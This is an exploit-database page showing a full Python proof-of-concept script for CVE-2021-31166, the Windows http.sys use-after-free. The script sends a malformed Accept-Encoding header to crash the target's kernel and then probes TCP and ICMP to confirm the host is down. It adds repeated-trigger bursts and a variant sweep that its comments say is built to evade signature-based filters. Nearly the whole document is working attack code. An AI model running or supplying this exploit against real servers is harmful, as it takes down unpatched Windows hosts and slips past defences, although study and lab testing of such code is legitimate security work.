Exploit database

GH-ceeaa5a7dde863894746a81289b1d311

testerxma/cve-2021-31166-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-31166

17 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files4
testerxma/cve-2021-31166-pocRevision fa57c6d15c05

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

cve_2021_31166_check.py

Python · 28,694 bytes
#!/usr/bin/env python3
"""
CVE-2021-31166 - http.sys use-after-free trigger (authorized lab tool).

Crash detection is liveness-based:
    * HTTP 500 is not a crash.
    * A request timeout alone is not a crash.
    * A host that stops answering TCP SYNs and ICMP after the trigger is
      consistent with a bugcheck; a TCP RST means the OS is alive and only
      the listener died.

Use only against systems you are authorized to test.
"""

from __future__ import annotations

import argparse
import json
import socket
import ssl
import subprocess
import sys
import time
from datetime import datetime
from typing import Any

TOOL_NAME = "cve-2021-31166-lab"
TRIGGER_ACCEPT_ENCODING = "doar-e, ftw, imo, ,"
DEFAULT_WAIT = 12.0          # seconds to watch liveness after the trigger
DEFAULT_REPEATS = 2          # trigger requests if the host stays alive
PROBE_TIMEOUT = 2.0          # per TCP/ICMP liveness probe
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"

# Alternate malformed shapes used by --fuzz. They preserve the property that
# matters to UlpParseContentCoding - at least one unknown coding followed by an
# empty token - while differing enough to evade a signature-based filter that
# blocks the well-known public PoC value.
MALFORMED_VARIANTS: tuple[str | tuple[str, ...], ...] = (
    "doar-e, ftw, imo, ,",
    "doar-e, ,",
    "alpha, beta, gamma, delta, ,",
    "doar-e, ftw, imo, , ,",
    "DoAr-E, FtW, ImO, ,",
    "doar-e,\tftw,\timo,\t,",
    "doar-e, ftw, imo,,",
    "doar-e;q=0.5, ftw;q=0.5, imo;q=0.5, ,",
    ("gzip", "doar-e, ftw, imo, ,"),
    ", ".join(f"x{i}" for i in range(40)) + ", ,",
)


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def now_iso() -> str:
    return datetime.now().astimezone().isoformat(timespec="seconds")


def host_header(target: str, port: int, use_tls: bool) -> str:
    default = 443 if use_tls else 80
    return target if port == default else f"{target}:{port}"


def make_tls_context(use_tls: bool) -> ssl.SSLContext | None:
    if not use_tls:
        return None
    ctx = ssl.create_default_context()
    # Lab targets normally use self-signed certificates.
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    # Force HTTP/1.1: the trigger is an HTTP/1.1 header-parsing bug.
    ctx.set_alpn_protocols(["http/1.1"])
    return ctx


def parse_response(raw: bytes | None) -> dict[str, Any]:
    """Parse status line + headers from a raw HTTP response."""
    out: dict[str, Any] = {
        "status_line": None,
        "status": None,
        "headers": {},
    }
    if not raw:
        return out

    head = raw.split(b"\r\n\r\n", 1)[0].decode("iso-8859-1", "replace")
    lines = head.split("\r\n")
    if not lines or not lines[0]:
        return out

    out["status_line"] = lines[0]
    parts = lines[0].split(" ", 2)
    if len(parts) >= 2 and parts[1].isdigit():
        out["status"] = int(parts[1])

    headers: dict[str, str] = {}
    for line in lines[1:]:
        if ":" in line:
            name, value = line.split(":", 1)
            headers[name.strip().lower()] = value.strip()
    out["headers"] = headers
    return out


def http_exchange(
    target: str,
    port: int,
    use_tls: bool,
    request: bytes,
    timeout: float,
    limit: int = 65536,
) -> tuple[bytes | None, str | None, int, bool]:
    """
    Send raw request bytes and read the response.

    Returns (raw_response, error, elapsed_ms, sent). raw_response may be
    partial when the peer dies mid-response; `sent` says whether the request
    bytes were actually written to an established connection.
    """
    started = time.monotonic()
    raw: bytes | None = None
    error: str | None = None
    sock: socket.socket | None = None
    connected = False
    request_written = False

    try:
        sock = socket.create_connection((target, port), timeout=timeout)
        connected = True
        ctx = make_tls_context(use_tls)
        if ctx is not None:
            sock = ctx.wrap_socket(sock, server_hostname=target)

        sock.sendall(request)
        request_written = True

        buf = bytearray()
        deadline = time.monotonic() + timeout
        while len(buf) < limit:
            remaining = deadline - time.monotonic()
            if remaining <= 0:
                break
            sock.settimeout(remaining)
            try:
                chunk = sock.recv(4096)
            except (socket.timeout, TimeoutError):
                break
            if not chunk:
                break
            buf.extend(chunk)
            if b"\r\n\r\n" in buf:
                break
        raw = bytes(buf)

    except (ConnectionResetError, BrokenPipeError) as exc:
        error = f"{type(exc).__name__}: {exc}"
    except ssl.SSLError as exc:
        error = f"TLS error: {exc}"
    except (socket.timeout, TimeoutError):
        if not connected:
            error = "connect timeout"
        elif not request_written:
            error = "write timeout"
        else:
            error = "read timeout"
    except OSError as exc:
        error = f"{type(exc).__name__}: {exc}"
    finally:
        if sock is not None:
            try:
                sock.close()
            except OSError:
                pass

    elapsed_ms = int((time.monotonic() - started) * 1000)
    return raw, error, elapsed_ms, request_written


def build_request(
    target: str,
    port: int,
    use_tls: bool,
    accept_encoding: str | tuple[str, ...],
) -> bytes:
    host = host_header(target, port, use_tls)
    values = (
        (accept_encoding,)
        if isinstance(accept_encoding, str)
        else accept_encoding
    )
    encoding_headers = "".join(
        f"Accept-Encoding: {value}\r\n" for value in values
    )
    return (
        f"GET / HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"User-Agent: {USER_AGENT}\r\n"
        f"Accept: */*\r\n"
        f"{encoding_headers}"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode("ascii")


# ---------------------------------------------------------------------------
# Phase 1 - diagnostics (never sends the trigger)
# ---------------------------------------------------------------------------

def check_target(
    target: str,
    port: int,
    use_tls: bool,
    timeout: float,
    verbose: bool = False,
    quiet: bool = False,
) -> dict[str, Any]:
    scheme = "https" if use_tls else "http"
    url = f"{scheme}://{host_header(target, port, use_tls)}/"
    request = (
        f"HEAD / HTTP/1.1\r\n"
        f"Host: {host_header(target, port, use_tls)}\r\n"
        f"User-Agent: {TOOL_NAME}/1.0\r\n"
        f"Accept: */*\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    ).encode("ascii")

    raw, error, elapsed_ms, _sent = http_exchange(
        target, port, use_tls, request, timeout
    )
    parsed = parse_response(raw)
    reachable = parsed["status"] is not None

    info: dict[str, Any] = {
        "url": url,
        "reachable": reachable,
        "status": parsed["status"],
        "status_line": parsed["status_line"],
        "server": parsed["headers"].get("server"),
        "content_type": parsed["headers"].get("content-type"),
        "headers": parsed["headers"],
        "error": error,
        "elapsed_ms": elapsed_ms,
        "checked_at": now_iso(),
    }

    if quiet:
        return info

    print(f"    URL          : {url}")
    print(f"    HTTP status  : {info['status'] if reachable else '(no response)'}")
    print(f"    Server       : {info['server'] or '(not disclosed)'}")
    print(f"    Content-Type : {info['content_type'] or '(not disclosed)'}")
    print(f"    Round trip   : {elapsed_ms} ms")
    if error:
        print(f"    Error        : {error}")
    if verbose and info["headers"]:
        print("    Response headers:")
        for name, value in info["headers"].items():
            print(f"      {name}: {value}")
    print(
        "    Note         : a normal response only proves reachability; "
        "it does not prove the host is patched or vulnerable."
    )
    return info


# ---------------------------------------------------------------------------
# Phase 2 - the CVE-2021-31166 trigger
# ---------------------------------------------------------------------------

def generate_accept_encoding_payload() -> str:
    """
    Return the malformed Accept-Encoding value from the public PoC.

    The trailing empty token (the value ends with ", ,") is what drives
    UlpParseContentCoding into the error path that frees the coding list.
    """
    return TRIGGER_ACCEPT_ENCODING


def send_trigger(
    target: str,
    port: int,
    use_tls: bool,
    timeout: float,
    accept_encoding: str | tuple[str, ...] | None = None,
    verbose: bool = False,
) -> dict[str, Any]:
    """Send one trigger request and record exactly what came back."""
    value = accept_encoding or generate_accept_encoding_payload()
    request = build_request(target, port, use_tls, value)

    entry: dict[str, Any] = {
        "sent_at": now_iso(),
        "accept_encoding": value,
        "request_bytes": len(request),
        "sent": False,
        "status": None,
        "status_line": None,
        "response_bytes": 0,
        "no_response": False,
        "error": None,
        "elapsed_ms": None,
    }

    # A request that dies mid-flight is expected on an unpatched host; it is
    # recorded, not interpreted as a crash by itself.
    raw, error, elapsed_ms, sent = http_exchange(
        target, port, use_tls, request, timeout
    )
    entry["elapsed_ms"] = elapsed_ms
    entry["error"] = error
    entry["sent"] = sent

    if raw is not None:
        entry["response_bytes"] = len(raw)
        parsed = parse_response(raw)
        entry["status"] = parsed["status"]
        entry["status_line"] = parsed["status_line"]

    if entry["sent"] and not raw:
        entry["no_response"] = True

    if verbose:
        print(f"      sent={entry['sent']} status={entry['status']} "
              f"bytes={entry['response_bytes']} elapsed={elapsed_ms}ms error={error}")
    return entry


def exploit_tcp_burst(
    target: str,
    port: int,
    use_tls: bool,
    timeout: float,
    count: int,
) -> list[dict[str, Any]]:
    """
    Send the same trigger over a bounded number of connections.

    This keeps the original draft's 'TCP phase' but implements it with the
    real vulnerability vector. It is not a SYN flood and does not forge
    packets; it only repeats the malformed header.
    """
    attempts: list[dict[str, Any]] = []
    for _ in range(max(0, count)):
        attempts.append(send_trigger(target, port, use_tls, timeout))
        time.sleep(0.05)
    return attempts


# ---------------------------------------------------------------------------
# Phase 3 - liveness-based crash confirmation
# ---------------------------------------------------------------------------

def probe_tcp(target: str, port: int, timeout: float = PROBE_TIMEOUT) -> dict[str, Any]:
    started = time.monotonic()
    try:
        with socket.create_connection((target, port), timeout=timeout):
            return {
                "state": "open",
                "ms": int((time.monotonic() - started) * 1000),
            }
    except ConnectionRefusedError:
        return {
            "state": "refused",
            "ms": int((time.monotonic() - started) * 1000),
            "detail": "TCP RST received",
        }
    except (socket.timeout, TimeoutError):
        return {
            "state": "timeout",
            "ms": int((time.monotonic() - started) * 1000),
            "detail": "no SYN-ACK and no RST",
        }
    except OSError as exc:
        return {
            "state": "error",
            "ms": int((time.monotonic() - started) * 1000),
            "detail": f"{type(exc).__name__}: {exc}",
        }


def probe_icmp(target: str, timeout: float = PROBE_TIMEOUT) -> bool | None:
    """Return True/False for ICMP echo, or None if ping is unavailable."""
    try:
        completed = subprocess.run(
            ["ping", "-n", "-q", "-c", "1", "-W", str(max(1, int(timeout))), target],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
            timeout=timeout + 2,
        )
        return completed.returncode == 0
    except (FileNotFoundError, subprocess.SubprocessError):
        return None


def monitor_liveness(
    target: str,
    port: int,
    duration: float,
    timeout: float = PROBE_TIMEOUT,
) -> tuple[list[dict[str, Any]], dict[str, Any] | None]:
    """
    Watch TCP (and ICMP on first failure) for `duration` seconds.

    Returns the timeline and the first non-open observation. ICMP is only
    probed when TCP fails, because a successful TCP connect already proves
    the host is up.
    """
    timeline: list[dict[str, Any]] = []
    first_bad: dict[str, Any] | None = None
    started = time.monotonic()

    while True:
        elapsed = time.monotonic() - started
        if elapsed > duration:
            break

        entry = probe_tcp(target, port, timeout=min(timeout, PROBE_TIMEOUT))
        entry["t"] = round(elapsed, 2)

        if entry["state"] != "open" and first_bad is None:
            entry["icmp"] = probe_icmp(target, timeout=timeout)
            first_bad = entry

        timeline.append(entry)

        # If the host is down, don't burn the whole window on long timeouts.
        if first_bad is not None:
            remaining = duration - (time.monotonic() - started)
            if remaining > 0:
                time.sleep(min(0.5, remaining))
            else:
                break
        else:
            time.sleep(0.4)

    return timeline, first_bad


def classify_liveness(
    baseline: dict[str, Any],
    attempts: list[dict[str, Any]],
    timeline: list[dict[str, Any]],
    first_bad: dict[str, Any] | None,
) -> dict[str, Any]:
    """Turn observations into an honest verdict. Never equates a timeout with a crash."""
    if not baseline.get("reachable"):
        return {
            "status": "aborted",
            "summary": "Baseline diagnostics failed; no trigger was sent.",
        }

    if not any(attempt.get("sent") for attempt in attempts):
        return {
            "status": "inconclusive",
            "summary": "No trigger request could be written to the socket.",
        }

    if first_bad is None:
        return {
            "status": "alive",
            "summary": (
                "The target stayed reachable for the whole observation window. "
                "No crash was observed: the host is likely patched, or the "
                "trigger did not reach the vulnerable parser."
            ),
        }

    last = timeline[-1] if timeline else first_bad
    if last.get("state") == "open":
        return {
            "status": "recovered",
            "summary": (
                "Connectivity dropped and then returned. The host may have "
                "bugchecked and rebooted; check the lab console for a 0x139."
            ),
        }

    if first_bad.get("state") == "refused":
        return {
            "status": "service_down",
            "summary": (
                "TCP RST received: the host's network stack is alive but the "
                "HTTP listener is gone. That is a service-level failure, not "
                "proof of a kernel bugcheck."
            ),
        }

    if first_bad.get("state") == "timeout":
        if first_bad.get("icmp") is False:
            return {
                "status": "host_down",
                "summary": (
                    "TCP SYNs went unanswered and ICMP failed: the host is "
                    "unreachable. Consistent with a bugcheck "
                    "(KERNEL_SECURITY_CHECK_FAILURE, 0x139)."
                ),
            }
        if first_bad.get("icmp") is True:
            return {
                "status": "ambiguous",
                "summary": (
                    "The host answers ICMP but not TCP. This could be packet "
                    "filtering or a partial failure; it is not conclusive."
                ),
            }
        return {
            "status": "unreachable",
            "summary": (
                "TCP stopped answering and ICMP could not be checked. "
                "Verify the host state in the lab console."
            ),
        }

    return {
        "status": "ambiguous",
        "summary": f"Unexpected liveness state: {first_bad.get('state')}.",
    }


# ---------------------------------------------------------------------------
# Orchestration
# ---------------------------------------------------------------------------

def exploit_cve202131166(
    target: str,
    port: int,
    use_tls: bool,
    timeout: float,
    wait: float,
    repeats: int,
    burst: int = 0,
    verbose: bool = False,
    variant_mode: bool = False,
) -> dict[str, Any]:
    results: dict[str, Any] = {
        "tool": TOOL_NAME,
        "mode": "exploit",
        "target": target,
        "port": port,
        "tls": use_tls,
        "started": now_iso(),
        "baseline": None,
        "attempts": [],
        "burst": [],
        "liveness": [],
        "verdict": None,
    }

    scheme = "https" if use_tls else "http"
    print("=" * 64)
    print("CVE-2021-31166 / http.sys use-after-free trigger")
    print(f"Target : {target}:{port} ({scheme})")
    print(f"Time   : {results['started']}")
    print("=" * 64)

    print("\n[1/3] Baseline diagnostics")
    baseline = check_target(target, port, use_tls, timeout, verbose=verbose)
    results["baseline"] = baseline

    if not baseline["reachable"]:
        print("\n[!] Target did not answer a normal request.")
        print("    Fix connectivity first; no trigger was sent.")
        results["verdict"] = {
            "status": "aborted",
            "summary": "Baseline unreachable; trigger not sent.",
        }
        results["finished"] = now_iso()
        return results

    first_bad: dict[str, Any] | None = None

    if variant_mode:
        print("\n[2/3] Trigger (variant sweep)")
        print(f"    Testing {len(MALFORMED_VARIANTS)} malformed Accept-Encoding shapes")
        print("    All are sent first; liveness is watched afterwards, so a")
        print("    crash on any variant still produces a host_down verdict.")
        for index, value in enumerate(MALFORMED_VARIANTS, start=1):
            attempt = send_trigger(
                target, port, use_tls, timeout,
                accept_encoding=value, verbose=verbose,
            )
            results["attempts"].append(attempt)
            label = value if isinstance(value, str) else " | ".join(value)
            status = (
                attempt["status"]
                if attempt["status"] is not None
                else "no response"
            )
            print(f"    Variant {index:2d}: status={status}, "
                  f"sent={attempt['sent']}, {label[:64]!r}")
            time.sleep(0.1)

        timeline, first_bad = monitor_liveness(target, port, wait)
        for entry in timeline:
            entry["after_request"] = "variants"
        results["liveness"].extend(timeline)
        if first_bad is not None:
            print(f"    Liveness loss at t={first_bad['t']}s: "
                  f"{first_bad['state']} (icmp={first_bad.get('icmp')})")
    else:
        print("\n[2/3] Trigger")
        print(f"    Accept-Encoding: {generate_accept_encoding_payload()!r}")
        print(f"    Repeats        : {max(1, repeats)}")
        print("    Expected on a vulnerable host: connection dies, then the host")
        print("    stops answering TCP and ICMP (kernel bugcheck 0x139).")

        for index in range(max(1, repeats)):
            attempt = send_trigger(
                target, port, use_tls, timeout, verbose=verbose
            )
            results["attempts"].append(attempt)

            if attempt["sent"]:
                print(f"    Request {index + 1}: sent, "
                      f"status={attempt['status'] if attempt['status'] is not None else 'no response'}, "
                      f"elapsed={attempt['elapsed_ms']}ms")
            else:
                print(f"    Request {index + 1}: could not be sent ({attempt['error']})")

            timeline, first_bad = monitor_liveness(target, port, wait)
            for entry in timeline:
                entry["after_request"] = index + 1
            results["liveness"].extend(timeline)

            if first_bad is not None:
                print(f"    Liveness loss at t={first_bad['t']}s: "
                      f"{first_bad['state']} (icmp={first_bad.get('icmp')})")
                break

            if index + 1 < max(1, repeats):
                print("    Host still reachable; retrying once.")
                time.sleep(0.5)

    print("\n[3/3] Verdict")

    if first_bad is None and burst > 0:
        print(f"    Sending bounded burst of {burst} trigger requests...")
        results["burst"] = exploit_tcp_burst(
            target, port, use_tls, timeout, burst
        )
        timeline, first_bad = monitor_liveness(target, port, wait)
        for entry in timeline:
            entry["after_request"] = "burst"
        results["liveness"].extend(timeline)

    all_attempts = results["attempts"] + results["burst"]
    verdict = classify_liveness(baseline, all_attempts, results["liveness"], first_bad)
    results["verdict"] = verdict
    results["finished"] = now_iso()

    print(f"    Status  : {verdict['status']}")
    print(f"    Meaning : {verdict['summary']}")

    if results["liveness"]:
        states = [entry["state"] for entry in results["liveness"]]
        print(f"    Probes  : {len(states)} "
              f"(open={states.count('open')}, refused={states.count('refused')}, "
              f"timeout={states.count('timeout')}, error={states.count('error')})")

    return results


def print_summary(results: dict[str, Any]) -> None:
    print("\n" + "=" * 64)
    print("SUMMARY")
    print("=" * 64)
    print(f"Mode     : {results.get('mode', 'unknown')}")
    print(f"Target   : {results.get('target')}:{results.get('port')} "
          f"({'https' if results.get('tls') else 'http'})")

    baseline = results.get("baseline") or {}
    if baseline:
        print(f"Baseline : status={baseline.get('status')}, "
              f"server={baseline.get('server') or '(not disclosed)'}, "
              f"reachable={baseline.get('reachable')}")

    if results.get("mode") == "diagnose":
        print("Trigger  : not sent (diagnostics only)")
        print("CVE      : NOT TESTED - run with --exploit to attempt the crash")
        return

    attempts = results.get("attempts") or []
    burst = results.get("burst") or []
    sent = sum(1 for item in attempts + burst if item.get("sent"))
    print(f"Triggers : {sent} sent "
          f"({len(attempts)} primary, {len(burst)} burst)")

    verdict = results.get("verdict") or {}
    print(f"Verdict  : {verdict.get('status', 'unknown')} - "
          f"{verdict.get('summary', 'no verdict')}")
    print("Note     : confirm a bugcheck in the lab console; a timeout, an")
    print("           HTTP 500, or a TCP RST is not proof of a BSOD by itself.")


def write_output(path: str, results: dict[str, Any]) -> bool:
    try:
        with open(path, "w", encoding="utf-8") as handle:
            json.dump(results, handle, indent=2, sort_keys=True, default=str)
        print(f"\nResults written to: {path}")
        return True
    except OSError as exc:
        print(f"\n[!] Could not write {path}: {exc}", file=sys.stderr)
        return False


def build_parser() -> argparse.ArgumentParser:
    parser = argparse.ArgumentParser(
        description="CVE-2021-31166 http.sys UAF trigger and diagnostics (authorized labs only)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --target 10.10.10.10 --diagnose
  %(prog)s --target 10.10.10.10 --exploit
  %(prog)s --target 10.10.10.10 --port 443 --tls --exploit
  %(prog)s --target 10.10.10.10 --exploit --wait 20 --output result.json

Trigger:
  A GET request with a malformed Accept-Encoding header ending in an empty
  coding token. On a vulnerable host this bugchecks http.sys (0x139).

Reading the verdict:
  host_down   = TCP and ICMP both stopped answering; consistent with a bugcheck
  refused     = host up, HTTP listener gone (service failure, not a BSOD)
  alive       = no liveness loss; likely patched or trigger not delivered
  recovered   = connectivity returned; host may have rebooted
        """,
    )
    parser.add_argument("--target", required=True, help="target IP or hostname")
    parser.add_argument("--port", type=int, default=80, help="target port (default: 80)")
    parser.add_argument("--tls", action="store_true", help="use HTTPS/TLS")
    parser.add_argument("--timeout", type=float, default=5.0,
                        help="per-request timeout in seconds (default: 5.0)")
    parser.add_argument("--wait", type=float, default=DEFAULT_WAIT,
                        help=f"seconds to watch liveness after a trigger (default: {DEFAULT_WAIT:g})")
    parser.add_argument("--repeats", type=int, default=DEFAULT_REPEATS,
                        help=f"trigger requests if the host stays alive (default: {DEFAULT_REPEATS})")
    parser.add_argument("--burst", type=int, default=0,
                        help="optional bounded burst of trigger requests (default: 0)")
    parser.add_argument("--fuzz", action="store_true",
                        help="sweep malformed Accept-Encoding variants, then watch liveness")
    parser.add_argument("--diagnose", action="store_true",
                        help="diagnostics only, never send the trigger")
    parser.add_argument("--exploit", action="store_true",
                        help="send the trigger and monitor liveness")
    parser.add_argument("--verbose", "-v", action="store_true", help="verbose output")
    parser.add_argument("--output", "-o", metavar="FILE",
                        help="write full results as JSON")
    return parser


def main(argv: list[str] | None = None) -> int:
    parser = build_parser()
    args = parser.parse_args(argv)

    if not 1 <= args.port <= 65535:
        parser.error("--port must be between 1 and 65535")
    if args.timeout <= 0:
        parser.error("--timeout must be greater than zero")
    if args.wait <= 0:
        parser.error("--wait must be greater than zero")
    if args.repeats < 1:
        parser.error("--repeats must be at least 1")
    if args.burst < 0:
        parser.error("--burst cannot be negative")

    # Always initialize results: the old draft raised UnboundLocalError on
    # the diagnostic path because `results` was only assigned in exploit mode.
    results: dict[str, Any] = {
        "tool": TOOL_NAME,
        "mode": "diagnose",
        "target": args.target,
        "port": args.port,
        "tls": args.tls,
        "started": now_iso(),
        "baseline": None,
        "attempts": [],
        "burst": [],
        "liveness": [],
        "verdict": None,
    }

    if args.diagnose and args.exploit:
        print("Both --diagnose and --exploit were given; running diagnostics first.")
    elif args.diagnose or not args.exploit:
        print("Diagnostics only. Use --exploit to send the trigger.")

    if args.diagnose and not args.exploit:
        print("\n[diagnose] Normal HEAD request (no trigger)")
        results["baseline"] = check_target(
            args.target, args.port, args.tls, args.timeout,
            verbose=args.verbose,
        )
        results["verdict"] = {
            "status": "not_tested",
            "summary": "Diagnostics only; the CVE trigger was not sent.",
        }
        results["finished"] = now_iso()
        print_summary(results)
        if args.output:
            write_output(args.output, results)
        return 0 if results["baseline"]["reachable"] else 1

    results = exploit_cve202131166(
        target=args.target,
        port=args.port,
        use_tls=args.tls,
        timeout=args.timeout,
        wait=args.wait,
        repeats=args.repeats,
        burst=args.burst,
        verbose=args.verbose,
        variant_mode=args.fuzz,
    )
    print_summary(results)

    if args.output:
        write_output(args.output, results)

    status = (results.get("verdict") or {}).get("status")
    if status in ("host_down", "recovered"):
        return 3
    if status in ("service_down", "aborted"):
        return 4
    return 0


if __name__ == "__main__":
    raise SystemExit(main())